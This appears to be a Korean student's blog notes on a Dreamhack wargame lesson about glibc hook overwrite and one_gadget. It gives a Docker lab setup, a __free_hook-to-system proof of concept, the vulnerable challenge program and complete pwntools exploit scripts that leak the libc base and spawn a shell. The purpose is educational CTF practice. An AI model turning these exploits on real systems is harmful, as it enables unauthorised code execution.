Hook에는 갈고리라는 뜻이 있다. 이런 의미를 담아 컴퓨터 과학에서는 운영체제가 어떤 코드를 실행하려 할 때, 이를 낚아채어 다른 코드를 실행되게 하는 것을 Hooking(후킹)이라고 부르며, 이때 실행되는 코드를 Hook(훅)이라고 부른다.
후킹은 굉장히 다양한 용도로 사용된다. 함수에 훅을 심어서 함수의 호출을 모니터링하거나, 함수에 기능을 추가할 수도 있고, 아니면 아예 다른 코드를 심어서 실행 흐름을 변조할 수도 있다.
예를 들어, malloc과 free에 훅을 설치하면 소프트웨어에서 할당하고, 해제하는 메모리를 모니터링할 수 있다. 이를 더욱 응용하면 모든 함수의 도입 부분에 모니터링 함수를 훅으로 설치하여 어떤 소프트웨어가 실행 중에 호출하는 함수를 모두 추적(Tracing)할 수도 있다.
이러한 모니터링 기능은 해커에 의해 악용될 수도 있다. 해커가 키보드의 키 입력과 관련된 함수에 훅을 설치하면, 사용자가 입력하는 키를 모니터링하여 자신의 컴퓨터로 전송하는 것도 가능하다.
강의에서는 크게 2가지를 학습해볼 수 있는데, 첫 번째는 훅 오버라이트(Hook Overwrite)로, 훅의 특징을 이용한 공격기법이다. Glibc 2.33 이하 버전에서 libc 데이터 영역에는 malloc()과 free()를 호출할 때 함께 호출되는 훅(Hook)이 함수 포인터 형태로 존재한다. 이 함수 포인터를 임의의 함수 주소로 오버라이트(Overwrite)하여 악의적인 코드를 실행하는 기법을 배울 것이다. Full RELRO가 적용되더라도 libc의 데이터 영역에는 쓰기가 가능하므로 Full RELRO를 우회하는 기법이기도 하다.
두 번째는 libc 내에 존재하는 가젯인 원가젯(one-gadget)이다. 기존에는 셸을 실행하려면 여러 개의 가젯을 조합해서 ROP Chain을 구성했지만, 원 가젯은 단일 가젯만으로도 셸을 실행할 수 있는 매우 강력한 가젯이다. 하지만 원가젯은 Glibc 버전마다 다르게 존재하며, 사용하기 위한 제약 조건도 모두 다르다. 일반적으로 Glibc 버전이 높아질수록 제약 조건을 만족하기가 어려워지는 특성이 있다.
강의에서는 실습의 편의성을 위해 malloc()과 free()의 훅이 유효하면서 원가젯의 제약조건을 쉽게 만족할 수 있는 Ubuntu 18.04 64-bit(Glibc 2.27 버전) 환경에서 진행한다.
** 실습환경 Dockerfile
Ubuntu 18.04 64-bit(Glibc 2.27) 실습 환경 구축을 위한 Dockerfilie은 다음과 같다. 다른 버전의 우분투를 사용하는 경우, 강의 실습을 수행하는 과정이 원활하지 않을 수 있으니 반드시 우분투 18.04 64-bit 환경을 구축 후 실습한다.
FROM ubuntu:18.04
ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8
RUN apt update
RUN apt install -y \
gcc \
git \
python3 \
python3-pip \
ruby \
sudo \
tmux \
vim \
wget
# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh
# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools
# install one_gadget command
RUN gem install one_gadget
WORKDIR /root
위 내용을 Dockerfile이라는 이름의 파일로 저장한 후, 아래의 명령어로 이미지를 빌드하고 컨테이너를 실행한 후 셸을 켤 수 있다.
$ IMAGE_NAME=ubuntu1804 CONTAINER_NAME=my_container; \
docker build . -t $IMAGE_NAME; \
docker run -d -t --privileged --name=$CONTAINER_NAME $IMAGE_NAME; \
docker exec -it -u root $CONTAINER_NAME bash

다시 시작은 아래의 명령어
docker start my_container
docker exec -it -u root my_container bash

** 메모리 함수 훅
malloc, free, realloc hook
C언어에서 메모리의 동적 할당과 해제를 담당하는 함수로는 malloc, free, realloc이 대표적이다. 각 함수는 libc.so에 구현되어있다.
$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep -E "__libc_malloc|__libc_free|__libc_realloc"
463: 00000000000970e0 923 FUNC GLOBAL DEFAULT 13 __libc_malloc@@GLIBC_2.2.5
710: 000000000009d100 33 FUNC GLOBAL DEFAULT 13 __libc_reallocarray@@GLIBC_PRIVATE
1619: 0000000000098ca0 1114 FUNC GLOBAL DEFAULT 13 __libc_realloc@@GLIBC_2.2.5
1889: 00000000000979c0 3633 FUNC GLOBAL DEFAULT 13 __libc_free@@GLIBC_2.2.5
1994: 000000000019a9d0 161 FUNC GLOBAL DEFAULT 14 __libc_freeres@@GLIBC_2.2.5

libc에는 이 함수들의 디버깅 편의를 위해 훅 변수가 정의되어있다. 예를 들어 malloc 함수는 __malloc_hook 변수의 값이NULL이 아닌지 검사하고, 아니라면 malloc을 수행하기 전에 __malloc_hook이 가리키는 함수를 먼저 실행시킨다. 이 때, malloc의 인자는 훅 함수에 전달된다. 같은 방식으로 fre,, rrealloc도 각각 __free_hook, __realloc_hook이라는 변수를 사용한다.
// __malloc_hook
void *__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook); // malloc hook read
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
// ...
}
훅의 위치와 권한
_malloc_hook, free_hook, _realloc_hook은 관련된 함수들과 마찬가지로 libc.so에 정의되어있다.
$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep -E "__malloc_hook|__free_hook|__realloc_hook"
221: 00000000003ed8e8 8 OBJECT WEAK DEFAULT 35 __free_hook@@GLIBC_2.2.5
1132: 00000000003ebc30 8 OBJECT WEAK DEFAULT 34 __malloc_hook@@GLIBC_2.2.5
1544: 00000000003ebc28 8 OBJECT WEAK DEFAULT 34 __realloc_hook@@GLIBC_2.2.5

이 변수들의 오프셋은 각각 0x3ed8e8 , 0x3ebc30 , 0x3ebc28인데, 섹션 헤더 정보를 참조하면 libc.so의 bss 및 data 섹션에 포함됨을 알 수 있다.
$ readelf -S /lib/x86_64-linux-gnu/libc-2.27.so | grep -EA 1 "\.bss|\.data"
<-- skipped -->
[34] .data PROGBITS 00000000003eb1a0 001eb1a0
00000000000016c0 0000000000000000 WA 0 0 32
[35] .bss NOBITS 00000000003ec860 001ec860
0000000000004280 0000000000000000 WA 0 0 32

Hook Overwrite
앞서 배운 정보를 종합해보면, malloc, free, realloc에는 각각에 대응되는 훅 변수가 존재하며, 앞서 설명한 바와 같이 이들은 libc의 bss 섹션에 위치하여 실행 중에 덮어쓰는 것이 가능하다. 또한, 훅을 실행할 때 기존 함수에 전달한 인자를 같이 전달해주기 위해 __malloc_hook을 system 함수의 주소로 덮고, malloc("/bin/sh")을 호출하여 셸을 획득하는 등의 공격이 가능하다.
하단의 코드는 훅을 덮는 공격이 가능함을 보이는 Proof-of-Concept(PoC)이다. 컴파일하고 실행하면, __free_hook을 system 함수로 덮고( __free_hook는 원래 메모리 해제를 위해 사용되는 함수로 설정되어야 하지만, 대신에 system 함수로 덮어씌운다. 즉, 이제 free()가 호출될 때 메모리를 해제하는 대신, system() 함수가 실행 ), free("/bin/sh")를 호출하자 셸이 획득되는 것을 확인할 수 있다.
// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c
#include <malloc.h>
#include <stdlib.h>
#include <string.h>
const char *buf="/bin/sh";
int main() {
printf("\"__free_hook\" now points at \"system\"\n");
__free_hook = (void *)system;
printf("call free(\"/bin/sh\")\n");
free(buf);
}
buf는 "/bin/sh" 문자열을 가리키는 포인터이다. 보통 free()는 buf가 가리키는 메모리를 해제하지만, 앞서 __free_hook가 system 함수로 덮어써졌기 때문에, free(buf)가 호출될 때 실제로는 system("/bin/sh")이 실행됩니다. 즉, 시스템 쉘이 열린다.
$ ./fho
"__free_hook" now points at "system"
call free("/bin/sh")
$ echo "This is Hook Overwrite!"
This is Hook Overwrite!
Full RELRO가 적용된 바이너리에도 라이브러리의훅에는 쓰기 권한이 남아있기 때문에 이러한 공격을 고려해볼 수 있다.
앞서 살펴보았듯이 __free_hook이나 __malloc_hook과 같은 훅은 libc에 쓰기 권한으로 존재하는 함수 포인트이며, 간접적으로 free()와 malloc()을 호출하여 손쉽게 실행이 가능하므로 공격에 악용되기 쉽다. 그 뿐만 아니라 훅은 힙 청크 할당(malloc)과 해제(free)가 다발적으로 일어나는 환경에서 성능에 악영향을 주기 때뭉네 보안과 성능 향상을 이유로 Glibc 2.34 버전부터 제거되었다.
** Free Hook Overwrite
먼저 위에서 실행했던 Docker 빌드 및 실행 과정을 수행한다.
1. Dockerfile을 작성한다.(ubuntu 18.04)
FROM ubuntu:18.04
ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8
RUN apt update
RUN apt install -y \
gcc \
git \
python3 \
python3-pip \
ruby \
sudo \
tmux \
vim \
wget
# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh
# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools
# install one_gadget command
RUN gem install one_gadget
WORKDIR /root
2. 다음 명령어로 이미지를 빌드하고 컨테이너를 실행해서 셸을 켠다
IMAGE_NAME=ubuntu1804 CONTAINER_NAME=my_container; \
docker build . -t $IMAGE_NAME; \
docker run -d -t --privileged --name=$CONTAINER_NAME $IMAGE_NAME; \
docker exec -it -u root $CONTAINER_NAME bash
3. root /home 경로에 dreamhack 폴더를 만들고, 그 안에 fho 폴더를 만든다. 이 경로에서 실습할 것이다.

4. 원래 실습하고 있던 환경이었던 가상머신의 ubuntu 22.04에서 다운받은 문제파일을 도커 안으로 옮긴다.
docker cp ./문제파일 <컨테이너이름>:/경로/문제파일
docker cp ./fho.c my_container:/home/dreamhack/fho
docker cp ./fho my_container:/home/dreamhack/fho
docker cp ./libc-2.27.so my_container:/home/dreamhack/fho
docker cp ./flag my_container:/home/dreamhack/fho
예제 및 예제 분석
이번 강의에서는 free 함수의 훅을 덮는 공격을 실습해볼 것이다. 실습에 사용할 코드는 하단에 제시되어 있다. 바이너리 및 libc 파일은 본 워게임의 첨부파일로 제공되므로 다운로드 하여 실습해보자. 먼저 코드를 분석하고 익스플로잇을 시도해본 뒤, 다음 장으로 넘어간다.
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
* 분석
보호기법
checksec을 사용해서 fho 바이너리에 적용된 보호 기법을 살펴보면, 그동안 배운 모든 보호기법이 적용되어 있음을 확인할 수 있다.

코드 분석
- L16: L19 매우 큰 스택 버퍼 오버플로우가 발생한다. 그러나 알고있는 정보가 없으므로 카나리를 올바르게 덮을 수 없고, 반환 주소도 유의미한 값으로 조작할 수 없다. 스택에 있는 데이터를 읽는 데 사용할 수 있다.
- L21: L27 주소를 입력하고, 그 주소에 임의의 값을 쓸 수 있다.
- L29: L32 주소를 입력하고, 그 주소의 메모리를 해제할 수 있다.
공격 수단
공격자는 다음 세 가지 수단(Primitive)을 이용하여 셸을 획득해야한다.
[1] 스택의 어떤 값을 읽을 수 있다
[2] 임의 주소에 임의 값을 쓸 수 있다
[3] 임의 주소를 해제할 수 있다.
설계
1. 라이브러리의 변수 및 함수들의 주소 구하기
__free_hook, system 함수, "/bin/sh" 문자열은 libc 파일에 정의되어 있으므로, 주어진 libc 파일로부터 이들의 오프셋을 얻을 수 있다.
$ readelf -sr libc-2.27.so | grep " __free_hook@"
0000003eaef0 00dd00000006 R_X86_64_GLOB_DAT 00000000003ed8e8 __free_hook@@GLIBC_2.2.5 + 0
221: 00000000003ed8e8 8 OBJECT WEAK DEFAULT 35 __free_hook@@GLIBC_2.2.5
__free_hook 오프셋 = 0x3ed8e8

$ readelf -s libc-2.27.so | grep " system@"
1403: 000000000004f550 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
system 함수 오프셋 = 0x4f550

$ strings -tx libc-2.27.so | grep "/bin/sh"
1b3e1a /bin/sh
"/bin/sh" 오프셋 = 0x1b3e1a

메모리 상에서 이들의 주소를 계산하려면 프로세스에 매핑된 libc 파일의 베이스 주소를 알아야 한다. libc의 베이스 주소를 알면 거기에 오프셋을 더하여 메모리 상 주소를 구할 수 있다. 앞서 살펴 본 Exploitation Primitive 중 [1]을 이용하면 스택에 존재하는 값을 읽을 수 있는데, 스택에는 libc의 주소가 있을 가능성이 매우 크다. 특히 main 함수는 __libc_start_main이라는 라이브러리 함수가 호출하므로, main 함수 스택 프레임에 존재하는 반환 주소를 읽으면, 그 주소를 기반으로 libc 베이스 주소를 계산할 수 있고 더불어 변수와 함수들의 주소를 계산할 수 있다.
$ gdb ./fho
pwndbg> start
pwndbg> main
pwndbg> bt
#0 0x00005555555548be in main ()
#1 0x00007ffff7a05b97 in __libc_start_main (main=0x5555555548ba <main>, argc=1, argv=0x7fffffffc338, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffc328) at ../csu/libc-start.c:310
#2 0x00005555555547da in _start ()

bt: backtrace의 약자로, 백트레이스를 출력하는 명령어. 프로그램이 실행되는 동안 호출된 함수들의 호출 스택(call stack)을 보여준다.
2. 셸 획득
앞서 익스플로잇에 필요한 변수와 함수의 주소를 구한 후 [2]에서 __free_hook의 값을 system 함수의 주소로 덮어쓰고, [3]에서 "/bin/sh"를 해제(free)하게 하면 system("/bin/sh")가 호출되어 셸을 획득할 수 있다.
** 익스플로잇
1. 라이브러리의 변수 및 함수들의 주소 구하기
main 함수의 반환주소인 libc_start_main+x 릭하여 libc 베이스 주소를 구하고 변수 및 함수들의 주소를 계산해보자.
main 함수는 라이브러리 함수인 __libc_start_main이 호출하므로, main 함수의 스택 프레임에는 __libc_start_main+x로 돌아갈 반환 주소가 저장되어있다. __libc_start_main+x는 libc 영역 어딘가에 존재하는코드이므로, __libc_start_main+x의 주소를 릭한 후 해당 값에서 libc_start_main+x의 오프셋을 빼는 방식으로 프로세스 메모리에 매핑된 libc의 베이스 주소를 계산할 수 있다.
먼저 다음과 같이 gdb 바이너리를 열고 main 함수에 중단점을 설정한 후 실행한다. main 함수에서 멈추었을 때, 모든 스택 프레임의 백트레이스를 출력하는 bt 명령어로 main 함수의 반환 주소를 알아낼 수있다.
하다가 안 돼서 도커에 종속성 설치하고 대략적으로 확인했다.
$ gdb fho
pwndbg> b *main
Breakpoint 1 at 0x8ba
pwndbg> r
pwndbg> bt
#0 0x00005625b14008ba in main ()
#1 0x00007f5ae2f1cc87 in __libc_start_main (main=0x5625b14008ba <main>, argc=1, argv=0x7ffdf39f3ed8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffdf39f3ec8) at ../csu/libc-start.c:310
#2 0x00005625b14007da in _start ()
pwndbg> x/i 0x00007f5ae2f1cc87
0x7f5ae2f1cc87 <__libc_start_main+231>: mov edi,eax
pwndbg>

근데 내 실습화면에서는 x/i 0x00007f5ae2f1cc87가 아니라 x/i 0x00007ffff7a03c87로 명령어 치기

위 #1 부분에서 확인할 수 있듯이 main 함수의 반환주소는 x/i 0x00007ffff7a03c87 이고, x/i로 출력해보면 __libc_start_call_main+231이다. 이 오프셋은 다음과 같이 readelf 명령어로도 얻을 수 있다.
$ readelf -s libc-2.27.so | grep " __libc_start_main@"
2203: 0000000000021b10 446 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5
--> __libc_start_main+231의 오프셋 = 0x21b10+231

따라서 main 함수의 반환 주소은 __libc_start_main+231을 릭한 후, 해당 값에서 0x21b10+231를 빼면 libc의 베이스 주소를 구할 수 있다.
libc의 베이스 주소를 구한 후에는 __free_hook, system 함수, "/bin/sh" 문자열의 오프셋을 더하여 이들의 주소 값도 계산이 가능하다. 아래의 결과를 보이도록 코드를 작성해보자.
$ export LD_PRELOAD=$(realpath ./libc-2.27.so)
$ python3 fho.py
[+] Starting local process './fho': pid 21353
[*] '/home/dreamhack/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/dreamhack/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_base: 0x7f8dbfc35000
[+] system: 0x7f8dbfc844e0
[+] free_hook: 0x7f8dc00228e8
[+] /bin/sh: 0x7f8dbfde90fa
from pwn import *
p = remote('host3.dreamhack.games', 18664)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
def slog(name, addr):
return success(': '.join([name, hex(addr)]))
buf = b'A'*0x48
p.sendafter('Buf: ',buf)
p.recvuntil(buf)
main_leak=u64(p.recvline()[:-1]+b'\x00'*2)
libc_base=main_leak-libc.symbols['__libc_start_main']-231
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))
slog('libc_base', libc_base)
slog('system', system)
slog('free_hook', free_hook)
slog('/bin/sh', binsh)
p.recvuntil('To write: ')
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()

** +α, one_gadget
one_gadget
원 가젯(one_gadget) 또는 magic_gadget은 실행하면 셸이 획득되는 코드뭉치를 말한다. 기존에는 셸을 획득하기 위해 여러 개의 가젯을 조합해서 ROP Chain을 구성하거나 RTL 공격을 수행했지만, 원 가젯은 단일 가젯만으로도 셸을 실행할 수 있는 매우강력한 가젯이다. HITCON, 217 CTF 팀의 멤버인 david942j가 만든 one_gadget 도구를 사용하면 libc에서 쉽게 원 가젯을 찾을 수있다.
https://github.com/david942j/one_gadget
원 가젯은 libc의 버전마다 다르게 존재하며, 제약 조건도 모두 다르다. 일반적으로 Glibc 버전이 높아질수록 제약 조건을 만족하기가 어려워지는 특성이 있기 때문에 필요에 따라 상황에 맞는 가젯을 사용하거나, 제약 조건을 만족하도록 사전에 조작해주어야 한다.
원 가젯은 함수에 인자를 전달하기 어려울 때 유용하게 활용할 수 있다. 예를 들어 __malloc_hook을 임의의 값으로 오버라이트 할 수 있지만, malloc의 인자에 작은 정수밖에 입력할 수 없는 상황이라면, "/bin/sh" 문자열 주소로 인자를 전달하기가 매우 어렵다. 이럴 때 제약 조건을 만족하는 원 가젯이존재한다면 이를 호출해서 셸을 획득할 수 있다. (one_gadget 설치해야함)
$ one_gadget ./libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

앞서 실습한 fho도 원 가젯을 이용하여 셸을 획득할 수 있다. 직접 셸을 획득해보고, 하단의 코드와 비교해보자.
#!/usr/bin/env python3
# Name: fho_og.py
from pwn import *
p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
# 또는 libc_base = libc_start_main_xx - libc.libc_start_main_return
free_hook = libc_base + libc.symbols['__free_hook']
og = libc_base+0x4f432
slog('libc_base', libc_base)
slog('free_hook', free_hook)
slog('one-gadget', og)
# [2] Overwrite `free_hook` with `og`, one-gadget address
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(og).encode())
# [3] Exploit
p.recvuntil('To free: ')
p.sendline(str(0x31337).encode())
p.interactive()
마치며
마치며
이번 강의에서는 Hook Overwrite 기법에 대해 배워보았습니다. Hook Overwrite은 바이너리에 존재하는 훅을 덮어서 원하는 코드를 실행하는 공격 기법입니다. 강의에서는 훅 중에서 __free_hook을 덮는 실습을 해보았는데, 같은 공격 방법을 다른 훅에도 동일하게 적용할 수 있습니다. 또한, 훅 외의 다른 함수 포인터들에도 유사한 방법으로 공격을 시도할 수 있습니다. 함수 포인터를 활용하는 공격 기법들에 대해서는 나중에 심화 로드맵에서 더욱 자세히 다룰 것입니다.
다음 강의에서는 선언된 배열의 크기를 초과하여 인덱스에 접근하는 Out of Bounds (OOB)에 대해 배워보겠습니다. 🚩
키워드
|
'공부중 > 시스템 해킹' 카테고리의 다른 글
| [Dreamhack] Exploit Tech: Out of bounds (0) | 2024.09.28 |
|---|---|
| [Dreamhack] Memory Corruption: Out of Bounds (0) | 2024.09.28 |
| [Dreamhack] Background: RELRO / bypass: Hook Overwrite (0) | 2024.09.25 |
| [Dreamhack] Background: PIE (0) | 2024.09.24 |
| [Dreamhack] Exploit Tech: ROP x64 (0) | 2024.09.22 |
댓글